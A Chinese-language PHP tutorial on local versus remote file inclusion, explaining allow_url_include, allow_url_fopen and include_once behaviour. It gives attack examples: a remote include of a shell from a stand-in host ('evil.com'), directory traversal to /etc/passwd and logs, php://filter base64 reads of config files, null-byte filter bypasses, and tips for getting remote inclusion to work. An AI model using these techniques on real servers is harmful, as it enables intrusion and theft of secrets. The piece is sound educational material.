本地文件包含(LFI)和远程文件包含(RFI)的本质差异在于路径解析机制:LFI直接通过文件系统读取本地路径,不受allow_url_include控制;RFI则必须依赖allow_url_include=On才能使include函数解析并加载HTTP等URL协议,而allow_url_fopen仅影响fopen类函数,对include无直接影响。

include 本地包含和远程包含的底层机制差异
PHP 的 include 本身不区分本地或远程——它只是按传入路径尝试加载并执行 PHP 代码。真正决定能否远程包含的,是 PHP 配置项 allow_url_include 是否为 On。这个开关一关,哪怕你写 include('http://evil.com/shell.php'),PHP 也会直接报错:「Warning: include(): URL file-access is disabled in the server configuration」。
而 allow_url_fopen 是另一个独立开关(默认 On),它影响的是 fopen()、file_get_contents() 等函数,但对 include 无直接影响——除非 allow_url_include 同时开启,否则远程 URL 就进不了 include 的解析流程。
为什么本地包含能绕过 allow_url_include 限制
本地文件路径(如 include('config.php')、include('../logs/access.log'))完全走文件系统读取,不经过 URL 解析器,因此不受 allow_url_include 或 allow_url_fopen 控制。这也是 LFI(本地文件包含)漏洞更常见、更隐蔽的原因——它不需要任何特殊配置开启,只要参数可控 + 过滤松散就可能触发。
常见绕过方式包括:
立即学习“PHP免费学习笔记(深入)”;
访问全球海洋潮汐模型。功能包括查询指定日期、时间和地点的潮高、潮汐极值及格点天气数据。
- 用
../目录遍历跳转到敏感路径(如/etc/passwd、/var/log/apache2/access.log) - 配合伪协议:即使
allow_url_include=Off,php://filter和file://仍可用(例如include('php://filter/read=convert.base64-encode/resource=config.php')) - 利用空字节截断(PHP %00、
..%2f)绕过简单字符串过滤
远程包含失败的典型错误信息和检查点
当你尝试远程包含却失败时,先确认以下三点,比改代码更有效:
- 目标 PHP 版本是否 ≥ 5.2?因为
allow_url_include自 PHP 5.2 起默认Off - 运行
phpinfo(),搜索allow_url_include,确认值为On(不是Enabled或空) - 检查错误信息是不是
failed to open stream: no suitable wrapper could be found——这说明 PHP 根本没识别出这是个 URL,大概率是配置未生效或路径被误判为本地路径(比如漏写了http://前缀)
注意:include('http://x.x/x.php') 成功后,远程脚本是在**目标服务器上下文**中执行的,所有 $_SERVER、$_POST 变量都来自目标环境,不是你的请求端。
include_once / require_once 对本地和远程包含的影响相同吗
完全一样。无论是本地还是远程,include_once 和 require_once 都只做一件事:记录“这个路径是否已被成功加载过”,后续再遇到相同路径(字符串完全一致)就跳过。它不校验内容、不比对网络响应、也不关心你是从磁盘读还是从 HTTP 下载。
这意味着:
- 如果第一次
include_once('http://a.com/shell.php')因超时失败,第二次再调仍会重试(因为没“成功加载”过) -
include_once('shell.php')和include_once('./shell.php')被视为两个不同路径,会重复包含 - 用
php://filter包含同一文件多次(如加不同 base64 参数),也会被当作不同资源处理,无法靠_once避免重复
真正容易被忽略的是:一旦远程包含成功,攻击者上传的恶意代码就已运行在目标服务器进程里,此时 _once 的作用仅限于防止函数重定义这类语法错误,对安全防护毫无意义。


















